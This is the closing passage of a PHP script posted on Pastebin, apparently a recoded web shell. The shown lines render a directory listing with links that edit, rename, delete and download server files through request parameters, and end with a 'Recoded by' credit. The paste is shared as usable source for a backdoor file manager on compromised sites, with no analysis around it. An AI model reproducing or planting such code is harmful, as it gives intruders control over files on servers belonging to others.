  2078.             echo "<td class='td_home'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href='?act=view&dir=$dir&file=$dir/$file'>$file</a></td>";
  2079.             echo "<td class='td_home'><center>$ftype</center></td>";
  2080.             echo "<td class='td_home'><center>$size</center></td>";
  2081.             echo "<td class='td_home'><center>$ftime</center></td>";
  2082.             echo "<td class='td_home'><center>".w("$dir/$file",perms("$dir/$file"))."</center></td>";
  2083.             echo "<td class='td_home' style='padding-left: 15px;'><a href='?act=edit&dir=$dir&file=$dir/$file'>edit</a> | <a href='?act=rename&dir=$dir&file=$dir/$file'>rename</a> | <a href='?act=delete&dir=$dir&file=$dir/$file'>delete</a> | <a href='?act=download&dir=$dir&file=$dir/$file'>download</a></td>";
  2084.         }
  2085.         echo "</tr></table>";
  2086.     } else {
  2087.         echo "<font color=red>can't open directory</font>";
  2088.     }
  2089.     echo "<center>Copyright &copy; ".date("Y")." - <font color=yellow>Recoded by Desktop77N3T</font></a></center>";
  2090. }
  2091. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top